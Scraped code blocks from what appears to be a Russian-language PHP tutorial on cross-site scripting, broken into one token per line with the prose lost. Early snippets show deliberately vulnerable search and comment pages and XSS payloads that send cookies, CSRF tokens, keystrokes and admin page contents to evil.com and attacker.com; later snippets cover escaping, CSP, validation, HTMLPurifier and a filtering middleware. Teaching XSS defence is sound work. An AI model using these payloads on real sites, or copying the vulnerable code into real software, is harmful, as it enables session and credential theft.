// search.php - НЕ ДЕЛАЙТЕ ТАК!
Результаты поиска для: $search";
?>

site.ru/search.php?q=fetch('https://evil.com/steal?c='+document.cookie)

// Крадем токен авторизации Laravel
site
.
ru
/
search
?
q
=

var
token
=
document
.
querySelector
(
'meta[name="csrf-token"]'
)
.
content
;
var
xhr
=
new
XMLHttpRequest
(
)
;
xhr
.
open
(
'POST'
,
'https://attacker.com/steal'
)
;
xhr
.
send
(
'token='
+
token
+
'&cookies='
+
document
.
cookie
)
;

// comments.php - ОПАСНО!
prepare("INSERT INTO comments (text) VALUES (?)");
$stmt->execute([$comment]);
// Отображение комментариев
$comments = $pdo->query("SELECT text FROM comments")->fetchAll();
foreach ($comments as $comment) {
    echo "$comment[text]";
}
?>

// Полноценный keylogger через XSS

var
keys
=
''
;
document
.
addEventListener
(
'keypress'
,
function
(
e
)
{
keys
+=
e
.
key
;
if
(
keys
.
length
>
10
)
{
fetch
(
'https://evil.com/keylog'
,
{
method
:
'POST'
,
body
:
JSON
.
stringify
(
{
url
:
window
.
location
.
href
,
keys
:
keys
,
user
:
document
.
cookie
}
)
}
)
;
keys
=
''
;
}
}
)
;

// НЕ БЕЗОПАСНО!
var
search
=
location
.
hash
.
substring
(
1
)
;
document
.
getElementById
(
'results'
)
.
innerHTML
=
'Поиск: '
+
search
;

site.ru/page#

// lab/vulnerable.php

XSS Lab

Гостевая книга (уязвимая версия)

АДМИН-ПАНЕЛЬ: Секретные данные

Отправить

$msg";
        }
    }
    ?>

// Отправляем это сообщение в форму

// Проверяем, админ ли это
if
(
document
.
body
.
innerHTML
.
includes
(
'АДМИН-ПАНЕЛЬ'
)
)
{
// Крадем сессию админа
var
img
=
new
Image
(
)
;
img
.
src
=
'http://attacker.com/steal.php?role=admin&session='
+
document
.
cookie
+
'&page='
+
encodeURIComponent
(
document
.
body
.
innerHTML
)
;
}

// Правильное использование htmlspecialchars
function
safe_output
(
$data
)
{
return
htmlspecialchars
(
$data
,
ENT_QUOTES
|
ENT_SUBSTITUTE
,
// Важно: обе кавычки + замена битых символов
'UTF-8'
,
// Явная кодировка
false
// Не двойное кодирование
)
;
}
// Применение
$user_input
=
$_GET
[
'search'
]
?
?
''
;
echo
'Поиск: '
.
safe_output
(
$user_input
)
.
''
;

>

&

&

"

"

'

'

// Строгая CSP политика
header
(
"Content-Security-Policy: "
.
"default-src 'self'; "
.
"script-src 'self' 'nonce-"
.
$nonce
.
"'; "
.
"style-src 'self' 'unsafe-inline'; "
.
"img-src 'self' data: https:; "
.
"font-src 'self'; "
.
"connect-src 'self'; "
.
"frame-ancestors 'none'; "
.
"base-uri 'self'; "
.
"form-action 'self'"
)
;

">
// Этот скрипт выполнится
    console.log('Безопасный скрипт');

class
InputValidator
{
// Валидация email против XSS
public
static
function
validateEmail
(
$email
)
{
$email
=
filter_var
(
$email
,
FILTER_SANITIZE_EMAIL
)
;
if
(
!
filter_var
(
$email
,
FILTER_VALIDATE_EMAIL
)
)
{
throw
new
Exception
(
'Invalid email format'
)
;
}
return
$email
;
}
// Очистка HTML с белым списком тегов
public
static
function
sanitizeHtml
(
$html
)
{
// Разрешаем только безопасные теги
$allowed
=
'
'
.
''
;
$html
=
strip_tags
(
$html
,
$allowed
)
;
// Очищаем опасные атрибуты
$html
=
preg_replace
(
'/on\w+="[^"]*"/i'
,
''
,
$html
)
;
$html
=
preg_replace
(
'/javascript:[^"\']*["\']?/i'
,
''
,
$html
)
;
return
$html
;
}
// Валидация URL
public
static
function
validateUrl
(
$url
)
{
$url
=
filter_var
(
$url
,
FILTER_SANITIZE_URL
)
;
if
(
!
filter_var
(
$url
,
FILTER_VALIDATE_URL
)
)
{
return
false
;
}
// Проверяем протокол
$allowed_protocols
=
[
'http'
,
'https'
]
;
$parsed
=
parse_url
(
$url
)
;
if
(
!
in_array
(
$parsed
[
'scheme'
]
,
$allowed_protocols
)
)
{
return
false
;
}
return
$url
;
}
}

require_once
'HTMLPurifier.auto.php'
;
$config
=
HTMLPurifier_Config
:
:
createDefault
(
)
;
$config
-
>
set
(
'HTML.Allowed'
,
'p,br,strong,em,u,a[href]'
)
;
$config
-
>
set
(
'HTML.Nofollow'
,
true
)
;
$config
-
>
set
(
'URI.DisableExternalResources'
,
true
)
;
$purifier
=
new
HTMLPurifier
(
$config
)
;
$clean_html
=
$purifier
-
>
purify
(
$user_input
)
;

use
voku\helper\AntiXSS
;
$antiXss
=
new
AntiXSS
(
)
;
$clean
=
$antiXss
-
>
xss_clean
(
$user_input
)
;

class
ContextualEncoder
{
// В HTML контексте
public
static
function
forHtml
(
$data
)
{
return
htmlspecialchars
(
$data
,
ENT_QUOTES
|
ENT_SUBSTITUTE
,
'UTF-8'
)
;
}
// В JavaScript контексте
public
static
function
forJavaScript
(
$data
)
{
return
json_encode
(
$data
,
JSON_HEX_QUOT
|
JSON_HEX_TAG
|
JSON_HEX_AMP
|
JSON_HEX_APOS
)
;
}
// В URL контексте
public
static
function
forUrl
(
$data
)
{
return
rawurlencode
(
$data
)
;
}
// В CSS контексте
public
static
function
forCss
(
$data
)
{
return
preg_replace
(
'/[^a-zA-Z0-9]/'
,
''
,
$data
)
;
}
// В атрибутах HTML
public
static
function
forAttribute
(
$data
)
{
return
htmlspecialchars
(
$data
,
ENT_QUOTES
|
ENT_SUBSTITUTE
,
'UTF-8'
)
;
}
}
// Использование
echo
''
.
ContextualEncoder
:
:
forHtml
(
$userInput
)
.
''
;
echo
'var data = '
.
ContextualEncoder
:
:
forJavaScript
(
$userInput
)
.
';'
;
echo
'Ссылка'
;

// Twig автоматически экранирует вывод
{
{
user_input
}
}
// Безопасно
// Если нужен сырой HTML (опасно!)
{
{
user_input
|
raw
}
}
// Используйте осторожно
// Экранирование для JS

var
data
=
{
{
user_input
|
json_encode
|
raw
}
}
;

// Автоматическое экранирование
{
{
$userInput
}
}
// Без экранирования (опасно!)
{
!
!
$userInput
!
!
}
// JavaScript контекст

var
data
=
@
json
(
$userInput
)
;

use
Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface
;
use
Symfony\Component\HttpFoundation\Request
;
class
SecurityController
{
public
function
processInput
(
Request
$request
)
{
// Symfony автоматически фильтрует
$input
=
$request
-
>
request
-
>
get
(
'user_input'
)
;
// Дополнительная валидация
$validator
=
Validation
:
:
createValidator
(
)
;
$violations
=
$validator
-
>
validate
(
$input
,
[
new
NotBlank
(
)
,
new
Length
(
[
'min'
=
>
3
,
'max'
=
>
255
]
)
,
new
Regex
(
[
'pattern'
=
>
'/^[a-zA-Z0-9\s]+$/'
,
'message'
=
>
'Только буквы, цифры и пробелы'
]
)
]
)
;
if
(
count
(
$violations
)
>
0
)
{
throw
new
ValidationException
(
$violations
)
;
}
return
$input
;
}
}

// XssProtectionMiddleware.php
class
XssProtectionMiddleware
{
public
function
handle
(
$request
,
$next
)
{
// Очищаем все входные данные
$input
=
$request
-
>
all
(
)
;
array_walk_recursive
(
$input
,
function
(
&
$value
)
{
if
(
is_string
(
$value
)
)
{
$value
=
$this
-
>
cleanXss
(
$value
)
;
}
}
)
;
$request
-
>
merge
(
$input
)
;
// Добавляем security headers
$response
=
$next
(
$request
)
;
$response
-
>
headers
-
>
set
(
'X-XSS-Protection'
,
'1; mode=block'
)
;
$response
-
>
headers
-
>
set
(
'X-Content-Type-Options'
,
'nosniff'
)
;
return
$response
;
}
private
function
cleanXss
(
$value
)
{
// Базовая очистка
$value
=
strip_tags
(
$value
)
;
$value
=
htmlspecialchars
(
$value
,
ENT_QUOTES
|
ENT_SUBSTITUTE
,
'UTF-8'
)
;
// Удаляем опасные паттерны
$dangerous
=
[
'javascript:'
,
'vbscript:'
,
'onload='
,
'onerror='
,
'onclick='
,
'alert(1)